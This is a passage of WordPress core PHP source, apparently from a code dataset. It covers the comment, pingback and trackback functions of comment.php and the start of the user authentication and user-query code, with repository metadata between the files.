$commentdata['comment_parent'] = ( 'approved' == $parent_status || 'unapproved' == $parent_status ) ? $commentdata['comment_parent'] : 0; $commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] ); $commentdata['comment_agent'] = substr($_SERVER['HTTP_USER_AGENT'], 0, 254); $commentdata['comment_date'] = current_time('mysql'); $commentdata['comment_date_gmt'] = current_time('mysql', 1); $commentdata = wp_filter_comment($commentdata); $commentdata['comment_approved'] = wp_allow_comment($commentdata); $comment_ID = wp_insert_comment($commentdata); do_action('comment_post', $comment_ID, $commentdata['comment_approved']); if ( 'spam' !== $commentdata['comment_approved'] ) { // If it's spam save it silently for later crunching if ( '0' == $commentdata['comment_approved'] ) wp_notify_moderator($comment_ID); $post = get_post($commentdata['comment_post_ID']); // Don't notify if it's your own comment if ( get_option('comments_notify') && $commentdata['comment_approved'] && ( ! isset( $commentdata['user_id'] ) || $post->post_author != $commentdata['user_id'] ) ) wp_notify_postauthor($comment_ID, isset( $commentdata['comment_type'] ) ? $commentdata['comment_type'] : '' ); } return $comment_ID; } /** * Sets the status of a comment. * * The 'wp_set_comment_status' action is called after the comment is handled. * If the comment status is not in the list, then false is returned. * * @since 1.0.0 * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object * * @param int $comment_id Comment ID. * @param string $comment_status New comment status, either 'hold', 'approve', 'spam', or 'trash'. * @param bool $wp_error Whether to return a WP_Error object if there is a failure. Default is false. * @return bool False on failure or deletion and true on success. */ function wp_set_comment_status($comment_id, $comment_status, $wp_error = false) { global $wpdb; $status = '0'; switch ( $comment_status ) { case 'hold': case '0': $status = '0'; break; case 'approve': case '1': $status = '1'; if ( get_option('comments_notify') ) { $comment = get_comment($comment_id); wp_notify_postauthor($comment_id, $comment->comment_type); } break; case 'spam': $status = 'spam'; break; case 'trash': $status = 'trash'; break; default: return false; } $comment_old = clone get_comment($comment_id); if ( !$wpdb->update( $wpdb->comments, array('comment_approved' => $status), array('comment_ID' => $comment_id) ) ) { if ( $wp_error ) return new WP_Error('db_update_error', __('Could not update comment status'), $wpdb->last_error); else return false; } clean_comment_cache($comment_id); $comment = get_comment($comment_id); do_action('wp_set_comment_status', $comment_id, $comment_status); wp_transition_comment_status($comment_status, $comment_old->comment_approved, $comment); wp_update_comment_count($comment->comment_post_ID); return true; } /** * Updates an existing comment in the database. * * Filters the comment and makes sure certain fields are valid before updating. * * @since 2.0.0 * @uses $wpdb * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object * * @param array $commentarr Contains information on the comment. * @return int Comment was updated if value is 1, or was not updated if value is 0. */ function wp_update_comment($commentarr) { global $wpdb; // First, get all of the original fields $comment = get_comment($commentarr['comment_ID'], ARRAY_A); // Escape data pulled from DB. $comment = esc_sql($comment); $old_status = $comment['comment_approved']; // Merge old and new fields with new fields overwriting old ones. $commentarr = array_merge($comment, $commentarr); $commentarr = wp_filter_comment( $commentarr ); // Now extract the merged array. extract(stripslashes_deep($commentarr), EXTR_SKIP); $comment_content = apply_filters('comment_save_pre', $comment_content); $comment_date_gmt = get_gmt_from_date($comment_date); if ( !isset($comment_approved) ) $comment_approved = 1; else if ( 'hold' == $comment_approved ) $comment_approved = 0; else if ( 'approve' == $comment_approved ) $comment_approved = 1; $data = compact( 'comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt', 'comment_parent' ); $rval = $wpdb->update( $wpdb->comments, $data, compact( 'comment_ID' ) ); clean_comment_cache($comment_ID); wp_update_comment_count($comment_post_ID); do_action('edit_comment', $comment_ID); $comment = get_comment($comment_ID); wp_transition_comment_status($comment->comment_approved, $old_status, $comment); return $rval; } /** * Whether to defer comment counting. * * When setting $defer to true, all post comment counts will not be updated * until $defer is set to false. When $defer is set to false, then all * previously deferred updated post comment counts will then be automatically * updated without having to call wp_update_comment_count() after. * * @since 2.5.0 * @staticvar bool $_defer * * @param bool $defer * @return unknown */ function wp_defer_comment_counting($defer=null) { static $_defer = false; if ( is_bool($defer) ) { $_defer = $defer; // flush any deferred counts if ( !$defer ) wp_update_comment_count( null, true ); } return $_defer; } /** * Updates the comment count for post(s). * * When $do_deferred is false (is by default) and the comments have been set to * be deferred, the post_id will be added to a queue, which will be updated at a * later date and only updated once per post ID. * * If the comments have not be set up to be deferred, then the post will be * updated. When $do_deferred is set to true, then all previous deferred post * IDs will be updated along with the current $post_id. * * @since 2.1.0 * @see wp_update_comment_count_now() For what could cause a false return value * * @param int $post_id Post ID * @param bool $do_deferred Whether to process previously deferred post comment counts * @return bool True on success, false on failure */ function wp_update_comment_count($post_id, $do_deferred=false) { static $_deferred = array(); if ( $do_deferred ) { $_deferred = array_unique($_deferred); foreach ( $_deferred as $i => $_post_id ) { wp_update_comment_count_now($_post_id); unset( $_deferred[$i] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */ } } if ( wp_defer_comment_counting() ) { $_deferred[] = $post_id; return true; } elseif ( $post_id ) { return wp_update_comment_count_now($post_id); } } /** * Updates the comment count for the post. * * @since 2.5.0 * @uses $wpdb * @uses do_action() Calls 'wp_update_comment_count' hook on $post_id, $new, and $old * @uses do_action() Calls 'edit_posts' hook on $post_id and $post * * @param int $post_id Post ID * @return bool False on '0' $post_id or if post with ID does not exist. True on success. */ function wp_update_comment_count_now($post_id) { global $wpdb; $post_id = (int) $post_id; if ( !$post_id ) return false; if ( !$post = get_post($post_id) ) return false; $old = (int) $post->comment_count; $new = (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id) ); $wpdb->update( $wpdb->posts, array('comment_count' => $new), array('ID' => $post_id) ); clean_post_cache( $post ); do_action('wp_update_comment_count', $post_id, $new, $old); do_action('edit_post', $post_id, $post); return true; } // // Ping and trackback functions. // /** * Finds a pingback server URI based on the given URL. * * Checks the HTML for the rel="pingback" link and x-pingback headers. It does * a check for the x-pingback headers first and returns that, if available. The * check for the rel="pingback" has more overhead than just the header. * * @since 1.5.0 * * @param string $url URL to ping. * @param int $deprecated Not Used. * @return bool|string False on failure, string containing URI on success. */ function discover_pingback_server_uri( $url, $deprecated = '' ) { if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '2.7' ); $pingback_str_dquote = 'rel="pingback"'; $pingback_str_squote = 'rel=\'pingback\''; /** @todo Should use Filter Extension or custom preg_match instead. */ $parsed_url = parse_url($url); if ( ! isset( $parsed_url['host'] ) ) // Not an URL. This should never happen. return false; //Do not search for a pingback server on our own uploads $uploads_dir = wp_upload_dir(); if ( 0 === strpos($url, $uploads_dir['baseurl']) ) return false; $response = wp_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) ); if ( is_wp_error( $response ) ) return false; if ( wp_remote_retrieve_header( $response, 'x-pingback' ) ) return wp_remote_retrieve_header( $response, 'x-pingback' ); // Not an (x)html, sgml, or xml page, no use going further. if ( preg_match('#(image|audio|video|model)/#is', wp_remote_retrieve_header( $response, 'content-type' )) ) return false; // Now do a GET since we're going to look in the html headers (and we're sure its not a binary file) $response = wp_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) ); if ( is_wp_error( $response ) ) return false; $contents = wp_remote_retrieve_body( $response ); $pingback_link_offset_dquote = strpos($contents, $pingback_str_dquote); $pingback_link_offset_squote = strpos($contents, $pingback_str_squote); if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) { $quote = ($pingback_link_offset_dquote) ? '"' : '\''; $pingback_link_offset = ($quote=='"') ? $pingback_link_offset_dquote : $pingback_link_offset_squote; $pingback_href_pos = @strpos($contents, 'href=', $pingback_link_offset); $pingback_href_start = $pingback_href_pos+6; $pingback_href_end = @strpos($contents, $quote, $pingback_href_start); $pingback_server_url_len = $pingback_href_end - $pingback_href_start; $pingback_server_url = substr($contents, $pingback_href_start, $pingback_server_url_len); // We may find rel="pingback" but an incomplete pingback URL if ( $pingback_server_url_len > 0 ) { // We got it! return $pingback_server_url; } } return false; } /** * Perform all pingbacks, enclosures, trackbacks, and send to pingback services. * * @since 2.1.0 * @uses $wpdb */ function do_all_pings() { global $wpdb; // Do pingbacks while ($ping = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_pingme' LIMIT 1")) { delete_metadata_by_mid( 'post', $ping->meta_id ); pingback( $ping->post_content, $ping->ID ); } // Do Enclosures while ($enclosure = $wpdb->get_row("SELECT ID, post_content, meta_id FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_encloseme' LIMIT 1")) { delete_metadata_by_mid( 'post', $enclosure->meta_id ); do_enclose( $enclosure->post_content, $enclosure->ID ); } // Do Trackbacks $trackbacks = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE to_ping <> '' AND post_status = 'publish'"); if ( is_array($trackbacks) ) foreach ( $trackbacks as $trackback ) do_trackbacks($trackback); //Do Update Services/Generic Pings generic_ping(); } /** * Perform trackbacks. * * @since 1.5.0 * @uses $wpdb * * @param int $post_id Post ID to do trackbacks on. */ function do_trackbacks($post_id) { global $wpdb; $post = get_post( $post_id ); $to_ping = get_to_ping($post_id); $pinged = get_pung($post_id); if ( empty($to_ping) ) { $wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) ); return; } if ( empty($post->post_excerpt) ) $excerpt = apply_filters('the_content', $post->post_content); else $excerpt = apply_filters('the_excerpt', $post->post_excerpt); $excerpt = str_replace(']]>', ']]&gt;', $excerpt); $excerpt = wp_html_excerpt($excerpt, 252) . '...'; $post_title = apply_filters('the_title', $post->post_title, $post->ID); $post_title = strip_tags($post_title); if ( $to_ping ) { foreach ( (array) $to_ping as $tb_ping ) { $tb_ping = trim($tb_ping); if ( !in_array($tb_ping, $pinged) ) { trackback($tb_ping, $post_title, $excerpt, $post_id); $pinged[] = $tb_ping; } else { $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $tb_ping, $post_id) ); } } } } /** * Sends pings to all of the ping site services. * * @since 1.2.0 * * @param int $post_id Post ID. Not actually used. * @return int Same as Post ID from parameter */ function generic_ping($post_id = 0) { $services = get_option('ping_sites'); $services = explode("\n", $services); foreach ( (array) $services as $service ) { $service = trim($service); if ( '' != $service ) weblog_ping($service); } return $post_id; } /** * Pings back the links found in a post. * * @since 0.71 * @uses $wp_version * @uses IXR_Client * * @param string $content Post content to check for links. * @param int $post_ID Post ID. */ function pingback($content, $post_ID) { global $wp_version; include_once(ABSPATH . WPINC . '/class-IXR.php'); include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php'); // original code by Mort (http://mort.mine.nu:8080) $post_links = array(); $pung = get_pung($post_ID); // Variables $ltrs = '\w'; $gunk = '/#~:.?+=&%@!\-'; $punc = '.:?\-'; $any = $ltrs . $gunk . $punc; // Step 1 // Parsing the post, external links (if any) are stored in the $post_links array // This regexp comes straight from phpfreaks.com // http://www.phpfreaks.com/quickcode/Extract_All_URLs_on_a_Page/15.php preg_match_all("{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp); // Step 2. // Walking thru the links array // first we get rid of links pointing to sites, not to specific files // Example: // http://dummy-weblog.org // http://dummy-weblog.org/ // http://dummy-weblog.org/post.php // We don't wanna ping first and second types, even if they have a valid <link/> foreach ( (array) $post_links_temp[0] as $link_test ) : if ( !in_array($link_test, $pung) && (url_to_postid($link_test) != $post_ID) // If we haven't pung it already and it isn't a link to itself && !is_local_attachment($link_test) ) : // Also, let's never ping local attachments. if ( $test = @parse_url($link_test) ) { if ( isset($test['query']) ) $post_links[] = $link_test; elseif ( isset( $test['path'] ) && ( $test['path'] != '/' ) && ( $test['path'] != '' ) ) $post_links[] = $link_test; } endif; endforeach; do_action_ref_array( 'pre_ping', array( &$post_links, &$pung, $post_ID ) ); foreach ( (array) $post_links as $pagelinkedto ) { $pingback_server_url = discover_pingback_server_uri( $pagelinkedto ); if ( $pingback_server_url ) { @ set_time_limit( 60 ); // Now, the RPC call $pagelinkedfrom = get_permalink($post_ID); // using a timeout of 3 seconds should be enough to cover slow servers $client = new WP_HTTP_IXR_Client($pingback_server_url); $client->timeout = 3; $client->useragent = apply_filters( 'pingback_useragent', $client->useragent . ' -- WordPress/' . $wp_version, $client->useragent, $pingback_server_url, $pagelinkedto, $pagelinkedfrom); // when set to true, this outputs debug messages by itself $client->debug = false; if ( $client->query('pingback.ping', $pagelinkedfrom, $pagelinkedto) || ( isset($client->error->code) && 48 == $client->error->code ) ) // Already registered add_ping( $post_ID, $pagelinkedto ); } } } /** * Check whether blog is public before returning sites. * * @since 2.1.0 * * @param mixed $sites Will return if blog is public, will not return if not public. * @return mixed Empty string if blog is not public, returns $sites, if site is public. */ function privacy_ping_filter($sites) { if ( '0' != get_option('blog_public') ) return $sites; else return ''; } /** * Send a Trackback. * * Updates database when sending trackback to prevent duplicates. * * @since 0.71 * @uses $wpdb * * @param string $trackback_url URL to send trackbacks. * @param string $title Title of post. * @param string $excerpt Excerpt of post. * @param int $ID Post ID. * @return mixed Database query from update. */ function trackback($trackback_url, $title, $excerpt, $ID) { global $wpdb; if ( empty($trackback_url) ) return; $options = array(); $options['timeout'] = 4; $options['body'] = array( 'title' => $title, 'url' => get_permalink($ID), 'blog_name' => get_option('blogname'), 'excerpt' => $excerpt ); $response = wp_remote_post($trackback_url, $options); if ( is_wp_error( $response ) ) return; $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', %s) WHERE ID = %d", $trackback_url, $ID) ); return $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, %s, '')) WHERE ID = %d", $trackback_url, $ID) ); } /** * Send a pingback. * * @since 1.2.0 * @uses $wp_version * @uses IXR_Client * * @param string $server Host of blog to connect to. * @param string $path Path to send the ping. */ function weblog_ping($server = '', $path = '') { global $wp_version; include_once(ABSPATH . WPINC . '/class-IXR.php'); include_once(ABSPATH . WPINC . '/class-wp-http-ixr-client.php'); // using a timeout of 3 seconds should be enough to cover slow servers $client = new WP_HTTP_IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path)); $client->timeout = 3; $client->useragent .= ' -- WordPress/'.$wp_version; // when set to true, this outputs debug messages by itself $client->debug = false; $home = trailingslashit( home_url() ); if ( !$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping $client->query('weblogUpdates.ping', get_option('blogname'), $home); } // // Cache // /** * Removes comment ID from the comment cache. * * @since 2.3.0 * @package WordPress * @subpackage Cache * * @param int|array $ids Comment ID or array of comment IDs to remove from cache */ function clean_comment_cache($ids) { foreach ( (array) $ids as $id ) wp_cache_delete($id, 'comment'); if ( function_exists( 'wp_cache_incr' ) ) { wp_cache_incr( 'last_changed', 1, 'comment' ); } else { $last_changed = wp_cache_get( 'last_changed', 'comment' ); wp_cache_set( 'last_changed', $last_changed + 1, 'comment' ); } } /** * Updates the comment cache of given comments. * * Will add the comments in $comments to the cache. If comment ID already exists * in the comment cache then it will not be updated. The comment is added to the * cache using the comment group with the key using the ID of the comments. * * @since 2.3.0 * @package WordPress * @subpackage Cache * * @param array $comments Array of comment row objects */ function update_comment_cache($comments) { foreach ( (array) $comments as $comment ) wp_cache_add($comment->comment_ID, $comment, 'comment'); } // // Internal // /** * Close comments on old posts on the fly, without any extra DB queries. Hooked to the_posts. * * @access private * @since 2.7.0 * * @param object $posts Post data object. * @param object $query Query object. * @return object */ function _close_comments_for_old_posts( $posts, $query ) { if ( empty( $posts ) || ! $query->is_singular() || ! get_option( 'close_comments_for_old_posts' ) ) return $posts; $post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) ); if ( ! in_array( $posts[0]->post_type, $post_types ) ) return $posts; $days_old = (int) get_option( 'close_comments_days_old' ); if ( ! $days_old ) return $posts; if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) { $posts[0]->comment_status = 'closed'; $posts[0]->ping_status = 'closed'; } return $posts; } /** * Close comments on an old post. Hooked to comments_open and pings_open. * * @access private * @since 2.7.0 * * @param bool $open Comments open or closed * @param int $post_id Post ID * @return bool $open */ function _close_comments_for_old_post( $open, $post_id ) { if ( ! $open ) return $open; if ( !get_option('close_comments_for_old_posts') ) return $open; $days_old = (int) get_option('close_comments_days_old'); if ( !$days_old ) return $open; $post = get_post($post_id); $post_types = apply_filters( 'close_comments_for_post_types', array( 'post' ) ); if ( ! in_array( $post->post_type, $post_types ) ) return $open; if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * DAY_IN_SECONDS ) ) return false; return $open; }
zyblog
trunk/zyblog/wp-includes/comment.php
PHP
asf20
68,001
<?php /** * WordPress User API * * @package WordPress */ /** * Authenticate user with remember capability. * * The credentials is an array that has 'user_login', 'user_password', and * 'remember' indices. If the credentials is not given, then the log in form * will be assumed and used if set. * * The various authentication cookies will be set by this function and will be * set for a longer period depending on if the 'remember' credential is set to * true. * * @since 2.5.0 * * @param array $credentials Optional. User info in order to sign on. * @param bool $secure_cookie Optional. Whether to use secure cookie. * @return object Either WP_Error on failure, or WP_User on success. */ function wp_signon( $credentials = '', $secure_cookie = '' ) { if ( empty($credentials) ) { if ( ! empty($_POST['log']) ) $credentials['user_login'] = $_POST['log']; if ( ! empty($_POST['pwd']) ) $credentials['user_password'] = $_POST['pwd']; if ( ! empty($_POST['rememberme']) ) $credentials['remember'] = $_POST['rememberme']; } if ( !empty($credentials['remember']) ) $credentials['remember'] = true; else $credentials['remember'] = false; // TODO do we deprecate the wp_authentication action? do_action_ref_array('wp_authenticate', array(&$credentials['user_login'], &$credentials['user_password'])); if ( '' === $secure_cookie ) $secure_cookie = is_ssl(); $secure_cookie = apply_filters('secure_signon_cookie', $secure_cookie, $credentials); global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie $auth_secure_cookie = $secure_cookie; add_filter('authenticate', 'wp_authenticate_cookie', 30, 3); $user = wp_authenticate($credentials['user_login'], $credentials['user_password']); if ( is_wp_error($user) ) { if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) { $user = new WP_Error('', ''); } return $user; } wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie); do_action('wp_login', $user->user_login, $user); return $user; } /** * Authenticate the user using the username and password. */ add_filter('authenticate', 'wp_authenticate_username_password', 20, 3); function wp_authenticate_username_password($user, $username, $password) { if ( is_a($user, 'WP_User') ) { return $user; } if ( empty($username) || empty($password) ) { $error = new WP_Error(); if ( empty($username) ) $error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.')); if ( empty($password) ) $error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.')); return $error; } $user = get_user_by('login', $username); if ( !$user ) return new WP_Error('invalid_username', sprintf(__('<strong>ERROR</strong>: Invalid username. <a href="%s" title="Password Lost and Found">Lost your password</a>?'), wp_lostpassword_url())); if ( is_multisite() ) { // Is user marked as spam? if ( 1 == $user->spam) return new WP_Error('invalid_username', __('<strong>ERROR</strong>: Your account has been marked as a spammer.')); // Is a user's blog marked as spam? if ( !is_super_admin( $user->ID ) && isset($user->primary_blog) ) { $details = get_blog_details( $user->primary_blog ); if ( is_object( $details ) && $details->spam == 1 ) return new WP_Error('blog_suspended', __('Site Suspended.')); } } $user = apply_filters('wp_authenticate_user', $user, $password); if ( is_wp_error($user) ) return $user; if ( !wp_check_password($password, $user->user_pass, $user->ID) ) return new WP_Error( 'incorrect_password', sprintf( __( '<strong>ERROR</strong>: The password you entered for the username <strong>%1$s</strong> is incorrect. <a href="%2$s" title="Password Lost and Found">Lost your password</a>?' ), $username, wp_lostpassword_url() ) ); return $user; } /** * Authenticate the user using the WordPress auth cookie. */ function wp_authenticate_cookie($user, $username, $password) { if ( is_a($user, 'WP_User') ) { return $user; } if ( empty($username) && empty($password) ) { $user_id = wp_validate_auth_cookie(); if ( $user_id ) return new WP_User($user_id); global $auth_secure_cookie; if ( $auth_secure_cookie ) $auth_cookie = SECURE_AUTH_COOKIE; else $auth_cookie = AUTH_COOKIE; if ( !empty($_COOKIE[$auth_cookie]) ) return new WP_Error('expired_session', __('Please log in again.')); // If the cookie is not set, be silent. } return $user; } /** * Number of posts user has written. * * @since 3.0.0 * @uses $wpdb WordPress database object for queries. * * @param int $userid User ID. * @return int Amount of posts user has written. */ function count_user_posts($userid) { global $wpdb; $where = get_posts_by_author_sql('post', true, $userid); $count = $wpdb->get_var( "SELECT COUNT(*) FROM $wpdb->posts $where" ); return apply_filters('get_usernumposts', $count, $userid); } /** * Number of posts written by a list of users. * * @since 3.0.0 * * @param array $users Array of user IDs. * @param string $post_type Optional. Post type to check. Defaults to post. * @param bool $public_only Optional. Only return counts for public posts. Defaults to false. * @return array Amount of posts each user has written. */ function count_many_users_posts( $users, $post_type = 'post', $public_only = false ) { global $wpdb; $count = array(); if ( empty( $users ) || ! is_array( $users ) ) return $count; $userlist = implode( ',', array_map( 'absint', $users ) ); $where = get_posts_by_author_sql( $post_type, true, null, $public_only ); $result = $wpdb->get_results( "SELECT post_author, COUNT(*) FROM $wpdb->posts $where AND post_author IN ($userlist) GROUP BY post_author", ARRAY_N ); foreach ( $result as $row ) { $count[ $row[0] ] = $row[1]; } foreach ( $users as $id ) { if ( ! isset( $count[ $id ] ) ) $count[ $id ] = 0; } return $count; } // // User option functions // /** * Get the current user's ID * * @since MU * * @uses wp_get_current_user * * @return int The current user's ID */ function get_current_user_id() { $user = wp_get_current_user(); return ( isset( $user->ID ) ? (int) $user->ID : 0 ); } /** * Retrieve user option that can be either per Site or per Network. * * If the user ID is not given, then the current user will be used instead. If * the user ID is given, then the user data will be retrieved. The filter for * the result, will also pass the original option name and finally the user data * object as the third parameter. * * The option will first check for the per site name and then the per Network name. * * @since 2.0.0 * @uses $wpdb WordPress database object for queries. * @uses apply_filters() Calls 'get_user_option_$option' hook with result, * option parameter, and user data object. * * @param string $option User option name. * @param int $user Optional. User ID. * @param bool $deprecated Use get_option() to check for an option in the options table. * @return mixed */ function get_user_option( $option, $user = 0, $deprecated = '' ) { global $wpdb; if ( !empty( $deprecated ) ) _deprecated_argument( __FUNCTION__, '3.0' ); if ( empty( $user ) ) $user = get_current_user_id(); if ( ! $user = get_userdata( $user ) ) return false; if ( $user->has_prop( $wpdb->prefix . $option ) ) // Blog specific $result = $user->get( $wpdb->prefix . $option ); elseif ( $user->has_prop( $option ) ) // User specific and cross-blog $result = $user->get( $option ); else $result = false; return apply_filters("get_user_option_{$option}", $result, $option, $user); } /** * Update user option with global blog capability. * * User options are just like user metadata except that they have support for * global blog options. If the 'global' parameter is false, which it is by default * it will prepend the WordPress table prefix to the option name. * * Deletes the user option if $newvalue is empty. * * @since 2.0.0 * @uses $wpdb WordPress database object for queries * * @param int $user_id User ID * @param string $option_name User option name. * @param mixed $newvalue User option value. * @param bool $global Optional. Whether option name is global or blog specific. Default false (blog specific). * @return unknown */ function update_user_option( $user_id, $option_name, $newvalue, $global = false ) { global $wpdb; if ( !$global ) $option_name = $wpdb->prefix . $option_name; // For backward compatibility. See differences between update_user_meta() and deprecated update_usermeta(). // http://core.trac.wordpress.org/ticket/13088 if ( is_null( $newvalue ) || is_scalar( $newvalue ) && empty( $newvalue ) ) return delete_user_meta( $user_id, $option_name ); return update_user_meta( $user_id, $option_name, $newvalue ); } /** * Delete user option with global blog capability. * * User options are just like user metadata except that they have support for * global blog options. If the 'global' parameter is false, which it is by default * it will prepend the WordPress table prefix to the option name. * * @since 3.0.0 * @uses $wpdb WordPress database object for queries * * @param int $user_id User ID * @param string $option_name User option name. * @param bool $global Optional. Whether option name is global or blog specific. Default false (blog specific). * @return unknown */ function delete_user_option( $user_id, $option_name, $global = false ) { global $wpdb; if ( !$global ) $option_name = $wpdb->prefix . $option_name; return delete_user_meta( $user_id, $option_name ); } /** * WordPress User Query class. * * @since 3.1.0 */ class WP_User_Query { /** * Query vars, after parsing * * @since 3.5.0 * @access public * @var array */ var $query_vars = array(); /** * List of found user ids * * @since 3.1.0 * @access private * @var array */ var $results; /** * Total number of found users for the current query * * @since 3.1.0 * @access private * @var int */ var $total_users = 0; // SQL clauses var $query_fields; var $query_from; var $query_where; var $query_orderby; var $query_limit; /** * PHP5 constructor * * @since 3.1.0 * * @param string|array $args The query variables * @return WP_User_Query */ function __construct( $query = null ) { if ( !empty( $query ) ) { $this->query_vars = wp_parse_args( $query, array( 'blog_id' => $GLOBALS['blog_id'], 'role' => '', 'meta_key' => '', 'meta_value' => '', 'meta_compare' => '', 'include' => array(), 'exclude' => array(), 'search' => '', 'search_columns' => array(), 'orderby' => 'login', 'order' => 'ASC', 'offset' => '', 'number' => '', 'count_total' => true, 'fields' => 'all', 'who' => '' ) ); $this->prepare_query(); $this->query(); } } /** * Prepare the query variables * * @since 3.1.0 * @access private */ function prepare_query() { global $wpdb; $qv =& $this->query_vars; if ( is_array( $qv['fields'] ) ) { $qv['fields'] = array_unique( $qv['fields'] ); $this->query_fields = array(); foreach ( $qv['fields'] as $field ) $this->query_fields[] = $wpdb->users . '.' . esc_sql( $field ); $this->query_fields = implode( ',', $this->query_fields ); } elseif ( 'all' == $qv['fields'] ) { $this->query_fields = "$wpdb->users.*"; } else { $this->query_fields = "$wpdb->users.ID"; } if ( $qv['count_total'] ) $this->query_fields = 'SQL_CALC_FOUND_ROWS ' . $this->query_fields; $this->query_from = "FROM $wpdb->users"; $this->query_where = "WHERE 1=1"; // sorting if ( in_array( $qv['orderby'], array('nicename', 'email', 'url', 'registered') ) ) { $orderby = 'user_' . $qv['orderby']; } elseif ( in_array( $qv['orderby'], array('user_nicename', 'user_email', 'user_url', 'user_registered') ) ) { $orderby = $qv['orderby']; } elseif ( 'name' == $qv['orderby'] || 'display_name' == $qv['orderby'] ) { $orderby = 'display_name'; } elseif ( 'post_count' == $qv['orderby'] ) { // todo: avoid the JOIN $where = get_posts_by_author_sql('post'); $this->query_from .= " LEFT OUTER JOIN ( SELECT post_author, COUNT(*) as post_count FROM $wpdb->posts $where GROUP BY post_author ) p ON ({$wpdb->users}.ID = p.post_author) "; $orderby = 'post_count'; } elseif ( 'ID' == $qv['orderby'] || 'id' == $qv['orderby'] ) { $orderby = 'ID'; } else { $orderby = 'user_login'; } $qv['order'] = strtoupper( $qv['order'] ); if ( 'ASC' == $qv['order'] ) $order = 'ASC'; else $order = 'DESC'; $this->query_orderby = "ORDER BY $orderby $order"; // limit if ( $qv['number'] ) { if ( $qv['offset'] ) $this->query_limit = $wpdb->prepare("LIMIT %d, %d", $qv['offset'], $qv['number']); else $this->query_limit = $wpdb->prepare("LIMIT %d", $qv['number']); } $search = trim( $qv['search'] ); if ( $search ) { $leading_wild = ( ltrim($search, '*') != $search ); $trailing_wild = ( rtrim($search, '*') != $search ); if ( $leading_wild && $trailing_wild ) $wild = 'both'; elseif ( $leading_wild ) $wild = 'leading'; elseif ( $trailing_wild ) $wild = 'trailing'; else $wild = false; if ( $wild ) $search = trim($search, '*'); $search_columns = array(); if ( $qv['search_columns'] ) $search_columns = array_intersect( $qv['search_columns'], array( 'ID', 'user_login', 'user_email', 'user_url', 'user_nicename' ) ); if ( ! $search_columns ) { if ( false !== strpos( $search, '@') ) $search_columns = array('user_email'); elseif ( is_numeric($search) ) $search_columns = array('user_login', 'ID'); elseif ( preg_match('|^https?://|', $search) && ! wp_is_large_network( 'users' ) ) $search_columns = array('user_url'); else $search_columns = array('user_login', 'user_nicename'); } $this->query_where .= $this->get_search_sql( $search, $search_columns, $wild ); } $blog_id = absint( $qv['blog_id'] ); if ( 'authors' == $qv['who'] && $blog_id ) { $qv['meta_key'] = $wpdb->get_blog_prefix( $blog_id ) . 'user_level'; $qv['meta_value'] = 0; $qv['meta_compare'] = '!='; $qv['blog_id'] = $blog_id = 0; // Prevent extra meta query } $role = trim( $qv['role'] ); if ( $blog_id && ( $role || is_multisite() ) ) { $cap_meta_query = array(); $cap_meta_query['key'] = $wpdb->get_blog_prefix( $blog_id ) . 'capabilities'; if ( $role ) { $cap_meta_query['value'] = '"' . $role . '"'; $cap_meta_query['compare'] = 'like'; } $qv['meta_query'][] = $cap_meta_query; } $meta_query = new WP_Meta_Query(); $meta_query->parse_query_vars( $qv ); if ( !empty( $meta_query->queries ) ) { $clauses = $meta_query->get_sql( 'user', $wpdb->users, 'ID', $this ); $this->query_from .= $clauses['join']; $this->query_where .= $clauses['where']; if ( 'OR' == $meta_query->relation ) $this->query_fields = 'DISTINCT ' . $this->query_fields; } if ( !empty( $qv['include'] ) ) { $ids = implode( ',', wp_parse_id_list( $qv['include'] ) ); $this->query_where .= " AND $wpdb->users.ID IN ($ids)"; } elseif ( !empty($qv['exclude']) ) { $ids = implode( ',', wp_parse_id_list( $qv['exclude'] ) ); $this->query_where .= " AND $wpdb->users.ID NOT IN ($ids)"; } do_action_ref_array( 'pre_user_query', array( &$this ) ); } /** * Execute the query, with the current variables * * @since 3.1.0 * @access private */ function query() { global $wpdb; $qv =& $this->query_vars; if ( is_array( $qv['fields'] ) || 'all' == $qv['fields'] ) { $this->results = $wpdb->get_results("SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit"); } else { $this->results = $wpdb->get_col("SELECT $this->query_fields $this->query_from $this->query_where $this->query_orderby $this->query_limit"); } if ( $qv['count_total'] ) $this->total_users = $wpdb->get_var( 